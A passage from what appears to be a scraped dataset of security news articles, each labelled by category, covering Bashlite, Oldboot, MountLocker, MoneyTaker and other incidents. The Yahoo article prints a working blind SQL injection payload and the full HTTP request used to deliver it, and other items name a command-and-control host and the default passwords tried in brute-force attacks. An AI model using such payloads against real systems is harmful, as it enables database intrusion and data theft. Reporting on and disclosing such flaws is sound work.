The malware variant, detected as ELF_BASHLITE.A (ELF_FLOODER.W), when executed on victim's machine, scans compromised networks for devices such as routers and Android phones running BusyBox to brute force logins through a preset list of usernames and passwords.

The variant would then run a command to download and run bin.sh and bin2.sh scripts to gain control over Busybox systems once a connection was established. Therefore, this newer version of Bashlite is designed not only to identify systems running BusyBox, but also to hijack them.
""Remote attackers can possibly maximize their control on affected devices by deploying other components or malicious software into the system depending on their motive,"" threat response engineer at Trend Micro, Rhena Inocencio wrote on a blog post.
""As such, a remote attacker can issue commands or download other files on the devices thus compromising its security.""
Miscreants attempted to log in using a predefined list of usernames which include 'root', 'admin' and 'support' and common and default list of passwords such as 'root,' 'admin,' '12345,' 'pass,' 'password,' '123456' and so on.

Trend Micro's Inocencio urged users to change their default usernames and passwords in order to keep them on the safer side, and also to disable remote shells, if possible, to avoid its exploitation.

Bashlite malware includes the payload of the ShellShock exploit code and threat actors have used this critical ShellShock Bash command vulnerability (CVE-2014-6271) to build botnets from hijacked devices, launch distributed denial-of-service (DDoS) attacks, and target network attached storage boxes among other exploits.

The Critical ShellShock Bash bug was disclosed on September 24 and by September 30 security firms estimated that attacks using the exploit could top 1 billion, and more than 1000 organizations patched the ShellShock bug as fixes became available.

",Vulnerability
Most Sophisticated Android Bootkit Malware ever Detected; Infected Millions of Devices,https://thehackernews.com/2014/04/most-sophisticated-android-bootkit.html,"Hardly two month ago we reported about the first widely spread Android Bootkit malware, dubbed as 'Oldboot.A', which infected more than 500,000 Smartphone users worldwide with Android operating system in last eight months, especially in China.

Oldboot is a piece of Android malware that's designed to re-infect Mobile devices even after a thorough cleanup. It resides in the memory of infected devices; It modify the devices' boot partition and booting script file to launch system service and extract malicious application during the early stage of system's booting.

Yet another alarming report about Oldboot malware has been released by the Chinese Security Researchers from '360 Mobile Security'. They have discovered a new variant of the Oldboot family, dubbed as 'Oldboot.B', designed exactly as Oldboot.A, but new variant has advance stealth techniques. Especially, the defense against with antivirus software, malware analyzer, and automatic analysis tools. ""The Oldboot Trojan family is the most significant demonstration of this trend."" researchers said.

Oldboot.B, Android Bootkit malware has following abilities:
It can install malicious apps silently in the background.
It can inject malicious modules into system process.
Prevent malware apps from uninstalling.
Oldboot.B can modify the browser's homepage.
It has ability to uninstall or disable installed Mobile Antivirus softwares.
INFECTION & INSTALLING MORE MALWARE APPS
Once an Android device is infected by Oldboot.B trojan, it will listen to the socket continuously and receive and execute commands received from the attacker's command-and-control server.

Malware has some hidden ELF binaries, that includes steganographically encrypted strings, executable codes and configuration file downloaded from C&C server, located at az.o65.org (IP is 61.160.248.67).

After installation, Oldboot Trojan install lots of other malicious android applications or games in the infected device, which are not manually installed by the user.

MALWARE ARCHITECTURE
Oldboot.B architecture includes four major Components, those automatically executes during the system startup by registering itself as a service in the init.rc script:
1) boot_tst - uses remote injection technique to inject an SO file and a JAR file to the 'system_server' process of the Android system, continuously listen to the socket, and execute commands sent.
2) adb_server - replaces pm script of Android system with itself and used for anti-uninstallation functionality.
3) meta_chk - update the configuration file, download and install Android Apps promoted in the background. The Configuration file is encrypted, that greatly increases the time required to analyze.

To evade detection, meta_chk destroys itself from the file system, and left with only the injected process. Android Antivirus software does not support the process memory scan in the Android platform, so they cannot detect or delete the Oldboot Trojan which resides in the memory.
4) agentsysline - module written in C++ programming language, run as a daemon in the background to receive commands from command-and-control server. This component can uninstall anti-virus software, delete the specific files and enable or disable network connection etc.
PROBLEMS FOR SECURITY RESEARCHERS
To increase the problem of malware analyzers:
It add some meaningless code and trigger some behavior randomly.
Check for SIM card availability in the device, and it will not perform certain behavior if there is no SIM card to fool sandbox or emulators.
Check for the existence of antivirus software, and may uninstall the anti-virus software before doing anything malicious.
Malware uses the steganography techniques to hide its configuration file into images:
""But after some analysis, we found that the configuration of meta_chk is hidden in this picture, which contains the command will be executed by meta_chk and other information."" researchers said. The size of this configuration file is 12,508 bytes.

""Depending on the commands sent from the C&C server, it can do many different things, such as sending fake SMS messages or phishing attacks, and so on. Driven by profit, the Oldboot Trojan family changes very fast to react to any situation.""

Oldboot.B is one of the most advanced Android malware that is very difficult to remove, but antivirus firm 360 Mobile Security also released Oldboot detection and removing tool for free, you can download it from their website.

To avoid infection, Smartphones users should only install apps from trusted stores; make sure the Android system setting 'Unknown sources' is unchecked to prevent dropped or drive-by-download app installs; don't use untrusted custom ROMs and install a mobile security app.

",Malware
"BIOS Malware that can remotely destroy any computer, NSA claimed",https://thehackernews.com/2013/12/bios-malware-that-can-remotely-destroy_16.html,"During a CBS Interview show ""60 Minutes"", The National Security Agency (NSA) officials claimed that China has developed a BIOS based malware that can remotely destroy any computer.

Obviously NSA is struggling to repair its image and in an effort to justify their extensive Surveillance programs, The NSA Director General Keith Alexander and Information Assurance Director Debora Plunkett made a number of claims.
During that interview NSA officials said that they had foiled a malware attack that could have taken down the U.S. economy.

""One of our analysts actually saw that the nation state had the intention to develop and to deliver, to actually use this capability to destroy computers,"" Plunkett said.

They have mentioned that this malware was distributed via social engineering and targeted emails, although the NSA director mentioned that their researchers worked with computer manufacturers and able to close the respective vulnerability.

""This is the BIOS system which starts most computers. The attack would have been disguised as a request for a software update. If the user agreed, the virus would've infected the computer."" he added.

""Think about the impact of that across the entire globe. It could literally take down the U.S. economy."" (BULLSHIT)

If this Malware was intentionally born to threat U.S Economy, then what about DNS Changer malware or Zeus banking Trojan or infomous CryptoLocker ransomware that extensively spread across USA? So, Why NSA's Surveillance programs are failed to defend us from similar known threats ?

Complete Interview Video:

The BIOS malware is not new in the cyber world, and really not a big threat, but if NSA seriously justifying their Surveillance program by saying that this so called BIOS malware was one of the biggest threat they has taken down, then LET ME LAUGH. (Score Card = Snowden : 3, NSA: 0)

",Cyber_Attack
Zero-Day Flash Player Exploit Disclosed in 'Hacking Team' Data Dump,https://thehackernews.com/2015/07/flash-zero-day-vulnerability.html,"The Recent Cyber Attack that exposed 400GB of corporate data belonging to surveillance software firm Hacking Team has revealed that the spyware company have already discovered an exploit for an unpatched zero-day vulnerability in Flash Player.

Security researchers at Trend Micro claim that the leaked data stolen from Hacking Team, an Italian company that sells surveillance software to government agencies, contains a number of unpatched and unreported Adobe flaws.

Hacking Team has Unpatched Flash Bug

While analyzing the leaked data dump, researchers discovered at least three software exploits – two for Adobe Flash Player and one for Microsoft's Windows kernel.

Out of two, one of the Flash Player vulnerabilities, known as Use-after-free vulnerability with CVE-2015-0349, has already been patched.

However, the Hacking Team described the other Flash Player exploit, which is a zero-day exploit with no CVE number yet, as ""the most beautiful Flash bug for the last four years.""

Symantec has also confirmed the existence of the zero-day flaw in Adobe Flash that could allow hackers to remotely execute code on a targeted computer, actually allowing them to take full control of it.

Researchers found a Flash zero-day proof-of-concept (POC) exploit code that, after testing, successfully worked on the most latest, fully patched version of Adobe Flash (version 18.0.0.194) with Internet Explorer.

Successful exploitation of the zero-day Flash vulnerability could cause a system crash, potentially allowing a hacker to take complete control of the affected computer.

Zero-Day Flash Flaw Affects All Major Browsers

The zero-day vulnerability affects all major web browsers, including Microsoft's Internet Explorer, Google's Chrome, Mozilla's Firefox as well as Apple's Safari.

Researchers have not spotted any attacks in the wild exploiting this zero-day flaw. However, since details of the vulnerability are now made publicly available, it is likely cybercriminals will quickly try to exploit the flaw before a patch is issued.

Therefore, users who are concerned about the issue can temporarily disable the Adobe Flash Player in their browser until the company patches the zero-day flaw.

",Vulnerability
"From Today Onwards, Don't You Even Dare to Use Microsoft Internet Explorer",https://thehackernews.com/2016/01/remove-internet-explorer.html,"Yes, from today, Microsoft is ending the support for versions 8, 9 and 10 of its home-built browser Internet Explorer, thereby encouraging Windows users to switch on to Internet Explorer version 11 or its newest Edge browser.

Microsoft is going to release one last patch update for IE8, IE9 and IE10 today, but this time along with an ""End of Life"" notice, meaning Microsoft will no longer support the older versions.
So, if you want to receive continuous updates for your web browser and avoid being exposed to potential security risks after 12 January, you are advised to upgrade your browser to Internet Explorer 11, or its new Edge browser.

End of Life of Internet Explorer 8, 9 and 10
""Internet Explorer 11 is the last version of Internet Explorer, and will continue to receive security updates, compatibility fixes, and technical support on Windows 7, Windows 8.1, and Windows 10,"" Microsoft says.
This move could be part of Microsoft's bigger plan to move its users to the new Edge browser, which is currently available only on Windows 10 PCs.

With the launch of Microsoft Edge last April, the company attempted to encourage Windows 10 users to switch to Edge if they are using its rival browser, such as Google Chrome or Mozilla Firefox, as the default web browser.

Edge has been designed completely separate to Internet Explorer, and promises speed and usability, with support for Cortana -- Microsoft's virtual assistant.

Around 340 Million Users Run Internet Explorer

For higher adoption of Edge, Microsoft is finally ending support for Internet Explorer 8, 9 and 10. However, an estimated 340 Million Windows users are still running Internet Explorer, and nearly half of those are believed to be using one of the expired IE versions.

Therefore, the older versions of the browser will receive KB3123303 patch today that will feature ""nag box"" asking users to upgrade their browser.

If you have ""Automatic Updates"" turned ON, you most likely upgraded to IE11 already. However, users with older IE browsers can turn ""Automatic Updates"" ON by clicking on ""Check for Updates"" in the ""Windows Update"" section of the Control Panel.

",Vulnerability
Google Chrome added pop-up warning to prevent users from Browser hijacking,https://thehackernews.com/2014/02/google-chrome-added-pop-up-warning-to.html,"GOOGLE, one of the most trusted brands continuously trying to keep its products more robust and secure for keeping its users safe.

Google honors vulnerability hunters under its Bug bounty program and not only that, the company also offer a huge amount of reward to hackers in 'Pwnium' hacking competition for finding critical vulnerability.

Google Chrome, Browser from Google product family, has been added with a new feature that it will warn the user whenever browser's setting get altered by any malware.

Browser hijacking is the modification of browser's settings, and the term ""hijacking"" is used when the changes performed without the user's permission. A browser hijacker may replace the existing home page, error page, or search page with its own. These are generally used to force hits to a particular website, increasing its advertising revenue i.e. Click jacking and Adware.

A hijacker uses malicious software to change your internet security and registry settings to gain control over what and how your browser displays web content.

""So, you're trying to download a free screensaver or a game or something else you really want. But later you find out that the game came bundled with a malicious program that's trying to hijack your browser settings. You're not the only one having this problem, in fact, it's an issue that's continuing to grow at an alarming rate,"" Google said on its official blog.

Browser Hijacking is one of the top issues reported on browser forum. But from now, Windows chrome users will be prompted to reset the browser setting to factory default if the browser senses any sort of hijacking.

Users are free to opt whether to choose Reset and skip the option prompted based on their settings. The feature of the resetting chrome browser is not new, you can manually reset all the settings, plugins, and extensions to the default factory setting just by:
chrome://settings > Show Advanced Settings > 'Reset browser Setting'
Once you reset the browser, it'll disable all extension, theme or app you would have installed on it. You can enable apps manually visiting chrome://extensions/ page. You may require restarting the browser for enjoying enabled apps.

",Malware
New Chinese MBR Rootkit Identified,https://thehackernews.com/2011/04/new-chinese-mbr-rootkit-identified.html,"A new rootkit that uses the master boot record (MBR) to hide itself has been discovered in China and is being used to install an online game password stealer.
The bootkit is installed on the computer by a trojan downloader distributed from a Chinese adult site and is detected by Kaspersky as Rookit.Win32.Fisp.a.

Once executed, the rootkit makes a copy of the old MBR and replaces the sectors with its own code which includes an encrypted driver.

When the computer boots, the malicious code executes and restores the original MBR so that Windows can load normally.

It then uses hooks to replace the fips.sys system driver with a malicious one. ""It should be noted that the driver fips.sys is not required for the operating system to run correctly, so the system won't crash when it is replaced,"" says Kaspersky Lab expert Vyacheslav Zakorzhevsky.

The driver scans loaded processes to determine if they belong to one of over a dozen antivirus programs and prevent them from running properly.

The targeted security products include many Chinese ones from Beike, Rising, 360, Kingsoft, Keniu Network Technology, Beijing Jiangmin or Qizhi Software, but also internationally recognized vendors like AVG, BitDefender, Symantec, Kaspersky and ESET.

The rootkit serves as a malware distribution platform. It hooks the explorer.exe process and injects a downloader component that communicates with a remote server.

This component has been seen downloading variants of Trojan-Dropper.Win32.Vedio.dgs and a game password stealer detected by Kaspersky as Trojan-GameThief.Win32.OnLineGames.boas.

Online gaming is hugely popular in China and there is a large underground market for stolen virtual goods, currency, accounts, items and so on.

MBR rootkits are notoriously hard to remove because they can control the system before antivirus programs start. Users are advised to avoid downloading executable files offered to them by websites without being requested. It's also a good idea to scan all .exe files downloaded with Virus Total even if already running an antivirus program.

",Malware
Mount Locker Ransomware Offering Double Extortion Scheme to Other Hackers,https://thehackernews.com/2020/12/mount-locker-ransomware-offering-double.html,"A relatively new ransomware strain behind a series of breaches on corporate networks has developed new capabilities that allow it to broaden the scope of its targeting and evade security software—as well as with ability for its affiliates to launch double extortion attacks.
The MountLocker ransomware, which only began making the rounds in July 2020, has already gained notoriety for stealing files before encryption and demanding ransom amounts in the millions to prevent public disclosure of stolen data, a tactic known as double extortion.
""The MountLocker Operators are clearly just warming up. After a slow start in July they are rapidly gaining ground, as the high-profile nature of extortion and data leaks drive ransom demands ever higher,"" researchers from BlackBerry Research and Intelligence Team said.
""MountLocker affiliates are typically fast operators, rapidly exfiltrating sensitive documents and encrypting them across key targets in a matter of hours.""
MountLocker also joins the likes of other ransomware families like Maze (which shut down its operations last month) that operate a website on the dark web to name and shame victims and supply links to leaked data.
To date, the ransomware has claimed five victims, although the researchers suspect the number could be ""far greater.""
Offered as Ransomware-as-a-Service (RaaS), MountLocker was notably deployed earlier this August against Swedish security firm Gunnebo.
Although the company said it had successfully thwarted the ransomware attack, the criminals who orchestrated the intrusion ended up stealing and publishing online 18 gigabytes of sensitive documents, including schematics of client bank vaults and surveillance systems, in October.
Now according to BlackBerry's analysis, threat actors behind MountLocker-related affiliate campaigns leveraged remote desktop (RDP) with compromised credentials to gain an initial foothold on a victim's environment — something that was observed in Gunnebo's hack as well — and subsequently install tools to carry out network reconnaissance (AdFind), deploy the ransomware and laterally spread across the network, and exfiltrate critical data via FTP.
The ransomware in itself is lightweight and efficient. Upon execution, it proceeds to terminate security software, trigger encryption using ChaCha20 cipher, and create a ransom note, which contains a link to a Tor .onion URL to contact the criminals via a ""dark web"" chat service to negotiate a price for decrypting software.
It also uses an embedded RSA-2048 public key to encrypt the encryption key, deletes volume shadow copies to thwart restoration of the encrypted files, and eventually removes itself from the disk to hide its tracks.
The researchers, however, point out that the ransomware uses a cryptographically insecure method called GetTickCount API for key generation that may be susceptible to a brute-force attack.
MountLocker's list of encryption targets is extensive, with support for over 2600 file extensions spanning databases, documents, archives, images, accounting software, security software, source code, games, and backups. Executable files such as .exe, .dll, and .sys are left untouched.
That's not all. A new variant of MountLocker spotted in late November (dubbed ""version 2"") goes a step further by dropping the list of extensions to be included for encryption in favor of a lean exclusion list: .exe, .dll, .sys, .msi, .mui, .inf, .cat, .bat, .cmd, .ps1, .vbs, .ttf, .fon, and .lnk.
""Since its inception, the MountLocker group has been seen to both expand and improve their services and malware,"" the researchers concluded. ""While their current capabilities are not particularly advanced, we expect this group to continue developing and growing in prominence over the short term.""

",Cyber_Attack
Yahoo! Blind SQL Injection could lead to data leakage,https://thehackernews.com/2013/04/yahoo-blind-sql-injection-could-lead-to.html,"It seems that 2013 is the ""Data Leakage Year""! Many customers' information and confidential data have been published on the internet coming from government institutions, famous vendors, and companies too.

Ebrahim Hegazy(@Zigoo0) an Egyptian information security advisor who found a high severity vulnerability in ""Avira license daemon"" days ago, is on the news again, but this time for finding and reporting Blind SQL Injection vulnerability in one of Yahoo! E-marketing applications.
SQL Injection vulnerabilities are ranked as Critical vulnerabilities, because if used by Hackers it will cause a database breach which will lead to confidential information leakage.

A time based blind SQL Injection web vulnerability is detected in the official Yahoo! TW YSM Marketing Application Service.

The vulnerability allows remote attackers to inject own SQL commands to breach the database of that vulnerable application and get access to the user data.

The SQL Injection vulnerability is located in the index.php file of the soeasy module when processing to request manipulated scId parameters. By manipulation of the seed parameter the attackers can inject own SQL commands to compromise the web server application DBMS.

The vulnerability can be exploited by remote attackers without privileged application user account and without requiring user interaction. Successful exploitation of the SQL injection vulnerability results in application and application service DBMS compromise.

Vulnerable Service(s): [+] Yahoo! Inc - TW YSM Marketing
Vulnerable Module(s): [+] soeasy
Vulnerable Module(s): [+] index.php
Vulnerable Parameter(s):[+] scId

But the Ebrahim is a white hat, so he reported the vulnerability to the Yahoo! The security team with recommendations on how to patch the vulnerability.

According to Ebrahim, the time line of the vulnerability was:
2013-02-24: Researcher Notification & Coordination
2013-02-25: Vendor Notification
2013-03-01: Vendor Response/Feedback
2013-04-01: Vendor Fix/Patch by check
Proof of Concept
The time-based sql injection web vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction. For demonstration or reproduce ...

Vulnerable Service Domain: tw.ysm.emarketing.yahoo.com
Vulnerable Module: soeasy
Vulnerable File: index.php
Vulnerable Parameters: ?p=2&scId=

POC:
https://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113; select SLEEP(5)--

Payload:
1; union select SLEEP(5)--

Request:
https://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)--

GET /soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)-- HTTP/1.1
Host: tw.ysm.emarketing.yahoo.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: is_c=1; device=pc; showNews=Y; B=9tgpb118xilu04&b=3&s=mu; AO=o=1&s=1&dnt=1; tw_ysm_soeasy=d%3D351d9185185129780476f856.
17880929%26s%3DxLxK2mb96diFbErWUyv_jGQ--; __utma=266114698.145757337399.1361672202.1361672202.1361672202.1; __utmb=2663114698.
1.10.1361672202; __utmc=2636114698; __utmz=266114698.13616732202.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
DNT: 1
Connection: keep-alive

HTTP/1.0 200 OK
Date: Sun, 24 Feb 2013 02:16:48 GMT
P3P: policyref=""https://info.yahoo.com/w3c/p3p.xml"", CP=""CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi
SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV""
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip

Solution: The vulnerability can be patched by a restriction and secure parse of the scId parameter request.

More details about the vulnerability could be found here. As most of the readers know that Yahoo! doesn't have a bug bounty program or Hall of fame too, so as a reward from Yahoo! for the researchers who finds a vulnerability in Yahoo! Applications, they do award researchers by sending them a T-shirts with Yahoo! logo and some other tokens.

The researcher told us that he received a package sent to him by Yahoo! containing 2 T-shirts and a big cup ...

Lean reward, what do you think? Dear Yahoo the next time you may be the victim of black hat.

Credits
Ebrahim Hegazy is an information security advisor @Starware Group, acknowledged by Google, Microsoft and Ebay for finding and reporting multiple vulnerabilities in their applications.

",Vulnerability
Newly Uncovered 'MoneyTaker' Hacker Group Stole Millions from U.S. & Russian Banks,https://thehackernews.com/2017/12/bank-hackers.html,"Security researchers have uncovered a previously undetected group of Russian-speaking hackers that has silently been targeting Banks, financial institutions, and legal firms, primarily in the United States, UK, and Russia.

Moscow-based security firm Group-IB published a 36-page report on Monday, providing details about the newly-disclosed hacking group, dubbed MoneyTaker, which has been operating since at least May 2016.

In the past 18 months, the hacking group is believed to have conducted more than 20 attacks against various financial organisations—stolen more than $11 Million and sensitive documents that could be used for next attacks.

According to the security firm, the group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and SWIFT international bank messaging service (United States).
""Criminals stole documentation for OceanSystems' FedLink card processing system, which is used by 200 banks in Latin America and the US."" Group-IB says in its report.
Group-IB also warned that the MoneyTaker attacks against financial organizations appear to be ongoing and banks in Latin America could be their next target.

MoneyTaker: 1.5 Years of Silent Operations

Since its first successful attack in May last year, MoneyTaker has targeted banks in California, Illinois, Utah, Oklahoma, Colorado, South Carolina, Missouri, North Carolina, Virginia and Florida, primarily targeting small community banks with limited cyber defenses.

Even after a large number of attacks against so many targets, MoneyTaker group managed to keep their activities concealed and unattributed by using various publicly available penetration testing and hacking tools, including Metasploit, NirCmd, psexec, Mimikatz, Powershell Empire, and code demonstrated as proof-of-concepts at a Russian hacking conference in 2016.
""To propagate across the network, hackers used a legitimate tool psexec, which is typical for network administrators."" Group-IB says in its report.

Besides using open-source tools, the group has also been heavily utilizing Citadel and Kronos banking trojans to deliver a Point-of-Sale (POS) malware, dubbed ScanPOS.
""Upon execution, ScanPOS grabs information about the current running processes and collects the user name and privileges on the infected system. That said, it is primarily designed to dump process memory and search for payment card track data. The Trojan checks any collected data using Luhn's algorithm for validation and then sends it outbound to the C&C server.""
""The group uses 'fileless' malware only existing in RAM and is destroyed after reboot. To ensure persistence in the system MoneyTaker relies on PowerShell and VBS scripts - they are both difficult to detect by antivirus and easy to modify. In some cases, they have made changes to source code 'on the fly' – during the attack,""
""To escalate privileges up to the local administrator (or SYSTEM local user), attackers use exploit modules from the standard Metasploit pack, or exploits designed to bypass the UAC technology. With local administrator privileges they can use the Mimikatz program, which is loaded into the memory using Meterpreter, to extract unencrypted Windows credentials.""
Moreover, MoneyTaker also makes use of SSL certificates generated using names of well-known brands—including as Bank of America, Microsoft, Yahoo and Federal Reserve Bank—to hide its malicious traffic.
The hacking group also configure their servers in a way that malicious payloads can only be delivered to a predetermined list of IP addresses belonging to the targeted company. Also, it relies on PowerShell and VBS scripts to ensure persistence in the targeted system.

The very first attack, which Group-IB attributes to MoneyTaker was conducted in May 2016, when the group managed to gain access to First Data's STAR—the largest U.S. bank transfer messaging system connecting ATMs at over 5,000 organizations—and stole money.

In January 2017, the similar attack was repeated against another bank.

Here's how the attack works:
""The scheme is extremely simple. After taking control over the bank's network, the attackers checked if they could connect to the card processing system. Following this, they legally opened or bought cards of the bank whose IT system they had hacked,"" Group-IB explains.
""Money mules – criminals who withdraw money from ATMs – with previously activated cards went abroad and waited for the operation to begin. After getting into the card processing system, the attackers removed or increased cash withdrawal limits for the cards held by the mules.""
The money mules then removed overdraft limits, which made it possible for them to overdraw cash even with debit cards. Using these cards, they ""withdrew cash from ATMs, one by one.""

According to the report, the average money stolen by MoneyTaker from United States banks alone was about $500,000, and more than $3 million was stolen from at least three Russian banks.

The report also detailed an attack against a Russian bank, wherein the MoneyTaker group used a modular malware program to target the AWS CBR (Automated Work Station Client of the Russian Central Bank)—a Russian interbank fund transfer system similar to SWIFT.

The modular tool had capabilities to search for payment orders and modify them, replace original payment details with fraudulent ones, and carefully erase malware traces after completing its tasks.

While it is still unclear how MoneyTaker managed to get its foothold in the corporate network, in one specific case, the entry point of compromise of the bank's internal network was the home computer of the bank's system administrator.

Group-IB believes that the hackers are now looking for ways to compromise the SWIFT interbank communication system, although it found no evidence of MoneyTaker behind any of the recent cyber attacks on SWIFT systems.

",Cyber_Attack
Hackers have Hacked into US Arrest Records Database,https://thehackernews.com/2015/11/hacking-arrest-record.html,"The Group of teenage hackers, which previously hacked into the personal email of the CIA director John Brennan and published a large trove of sensitive data, has now had its hands on even more important and presumably secure target.

Hackers Accessed Law Enforcement Private Portal

The hacking group, Crackas With Attitude (CWA), claims it has gained access to a Law Enforcement Portal through which one can access:
Arrest records
Tools for sharing information about terrorist events and active shooters
The system in question is reportedly known as the Joint Automated Booking System (JABS), which is only available to the Federal Bureau of Investigation (FBI) and law enforcement.

Hackers Gained Access to FBI's Real-Time Chat System

Moreover, the hacking group also says it has gained access to another tool that is something like a real-time chat system for the FBI to communicate with other law enforcement agents around the US.

Two days ago, CWA published a portion of the data it collected to Pastebin and Cryptobin, apparently releasing names, email addresses, and phone numbers of around 3,500 law enforcement and military personnel.

JABS System Hacked!

However, the group has been able to have its hands on many law enforcement tools that contain more sensitive information, and Wired verified that a screenshot of JABS shared by CWA was legitimate.

The CWA hackers told Wired they found a vulnerability that allowed them to gain access to the law enforcement private portal, giving the group access to dozen law enforcement tools, but the hackers didn't reveal anything about the vulnerability.

This system is noteworthy as it may allow anyone with access to view arrest records – whether the arrests are sealed or aren't available to the public.

It means, among other things, this system can expose secret informants and others who have been detained but are now working with the law enforcement agencies.

Although none of the information from these law enforcement tools has been shared publicly, the hacking group could bother government officials by releasing the sensitive information anytime soon.

",Data_Breaches
"Hackers‌ ‌Actively‌ ‌Exploiting‌ ‌0-Day‌ ‌in WordPress Plugin Installed on Over ‌17,000‌ ‌Sites",https://thehackernews.com/2021/06/hackers-actively-exploiting-0-day-in.html,"Fancy Product Designer, a WordPress plugin installed on over 17,000 sites, has been discovered to contain a critical file upload vulnerability that's being actively exploited in the wild to upload malware onto sites that have the plugin installed.
Wordfence's threat intelligence team, which discovered the flaw, said it reported the issue to the plugin's developer on May 31. While the flaw has been acknowledged, it's yet to be addressed.
Fancy Product Designer is a tool that enables businesses to offer customizable products, allowing customers to design any kind of item ranging from T-shirts to phone cases by offering the ability to upload images and PDF files that can be added to the products.
""Unfortunately, while the plugin had some checks in place to prevent malicious files from being uploaded, these checks were insufficient and could easily be bypassed, allowing attackers to upload executable PHP files to any site with the plugin installed,"" Wordfence said in a write-up published on Tuesday.
Armed with this capability, an attacker can achieve remote code execution on an affected website, allowing full site takeover, the researchers noted. Wordfence has not shared the technical specifics of the vulnerability as it found evidence of it being abused as early as January 30.
Wordfence said that the critical zero-day could be exploited in select configurations even if the plugin has been deactivated, urging users to completely uninstall Fancy Product Designer until a patched version becomes available.
This is far from the first time Wordfence has disclosed severe issues in WordPress plugins. In December 2017, a hidden backdoor in BestWebSoft captcha plugin was found to affect 300,000 sites.
Then earlier this year, the researchers revealed vulnerabilities in Elementor and WP Super Cache that, if successfully exploited, could allow an attacker to run arbitrary code and take over a website in certain scenarios.
Update: The maintainers of Fancy Product Designer have released an update (version 4.6.9) to remediate the aforementioned file upload vulnerability. Wordence has also shared the revised indicators of compromise (IoC) associated with the attack, which can be accessed here.

",Vulnerability
Mark Zuckerberg Just Quits his Job at Facebook — Check Yourself!,https://thehackernews.com/2015/11/facebook-mark-zuckerberg-hack.html,"Yes, you heard it right.

Mark Zuckerberg has left his job at Facebook. Don't believe me? I can prove it to you.

— Check this Facebook Post by yourself —

This is weird, Isn't it?

But, don't be surprised or shocked, because what you just saw was only an illusion.

This is actually a minor bug in the popular social media website that allows anyone to manipulate the life event of any user who has his work status posted on Facebook.

The bug, uncovered by the independent hacker Sachin Thakuri, is not a technical flaw.

So how was he able to do this?

All Thakuri did is took the original URL of Mark Zuckerberg life event:
https://www.facebook.com/zuck/timeline/story?ut=32&wstart=-2051193600&wend=2147483647&hash=971179541251&pagefilter=3&ustart=1&__mref=message_bubble
...and remove the ustart=1 parameter, which left him with:
https://www.facebook.com/zuck/timeline/story?ut=32&wstart=-2051193600&wend=2147483647&hash=971179541251&pagefilter=3&&__mref=message_bubble
Clicking on the above manipulated URL displays the same life event page of Mark Zuckerberg but with the text: Left Job at Facebook instead displaying Started Working at Facebook.

Although this is not a serious privacy or security bug, but it could be used maliciously by bad actors in order to trick victims into believing that someone have quit their job.

Thakuri reported this bug to the Facebook security team, but the bug has not been fixed as of yet. So, we can expect from the company to fix this issue as soon as possible.

",Vulnerability
Largest Crypto-Mining Exchange Hacked; Over $70 Million in Bitcoin Stolen,https://thehackernews.com/2017/12/bitcoin-mining-hacked.html,"Bitcoin is breaking every record—after gaining 20% jump last week, Bitcoin price just crossed the $14,800 mark in less than 24 hours—and there can be no better reason for hackers to put all of their efforts to steal skyrocketing cryptocurrency.

NiceHash, the largest Bitcoin mining marketplace, has been hacked, which resulted in the theft of more than 4,700 Bitcoins worth over $57 million (at the time of breach).

And guess what? You'll be surprised to know that the stolen BTC now worth over $70 million—in less than 24 hours.

Founded in 2014, NiceHash is a cloud-based crypto-mining marketplace that connects people from all over the world to rent out their spare computing power to other in order to create new coins.

On Wednesday, several NiceHash users reported that their BTC wallets had been emptied, which was later confirmed by NiceHash after its service went offline claiming to be undergoing maintenance.

At the time of writing, the NiceHash service is still offline with a post on its website, confirming that ""there has been a security breach involving NiceHash website,"" and that hackers stole the contents of the NiceHash Bitcoin wallet.
The company did not provide any further details about the security incident, but it did say that NiceHash has paused its operations for next 24 hours while it figures out exactly how many numbers of BTC were swiped from its website and how it was taken.

Although NiceHash has not confirmed the number of bitcoins stolen from its virtual wallet, some of its customers have circulated a wallet address that suggests around 4,736 BTC—worth more than $70 million based on today's price—in total were drained from the company's wallet.

NiceHash has initiated an investigation into the matter, and has reported the incident to the ""relevant authorities and law enforcement"" and has been ""co-operating with them as a matter of urgency.""

The company also assured its customers that it is ""fully committed to restoring the NiceHash service with the highest security measures at the earliest opportunity,"" but it's still unclear how the company will manage to settle everything if it is unable to compensate the total loss.
""We understand that you will have a lot of questions, and we ask for patience and understanding while we investigate the causes and find the appropriate solutions for the future of the service. We will endeavor to update you at regular intervals,"" the company says.
Following the security incident, NiceHash is recommending its customers to change their passwords—both on NiceHash and other services, if they are using the same credentials.

NiceHash is the latest cryptocurrency company to suffer a significant blow in recent months. Another major hack took place last month due to a flaw in Parity's wallet that caused over $160 million in ETH (Ether) to be frozen, while nearly $32 million in ETH was stolen by hackers in July.

",Cyber_Attack
WikiLeaks Reveals CIA's Grasshopper Windows Hacking Framework,https://thehackernews.com/2017/04/wikileaks-cia-malware.html,"As part of its Vault 7 series of leaked documents, whistleblowing website WikiLeaks today released a new cache of 27 documents allegedly belonged to the US Central Intelligence Agency (CIA).

Named Grasshopper, the latest batch reveals a CLI-based framework developed by the CIA to build ""customised malware"" payloads for breaking into Microsoft's Windows operating systems and bypassing antivirus protection.

All the leaked documents are basically a user manual that the agency flagged as ""secret"" and that are supposed to be only accessed by the members of the agency, WikiLeaks claims.

Grasshopper: Customized Malware Builder Framework

According to the leaked documents, Grasshopper framework allows the agency members to easily create custom malware, depending upon the technical details, such as what operating system and antivirus the targets are using.

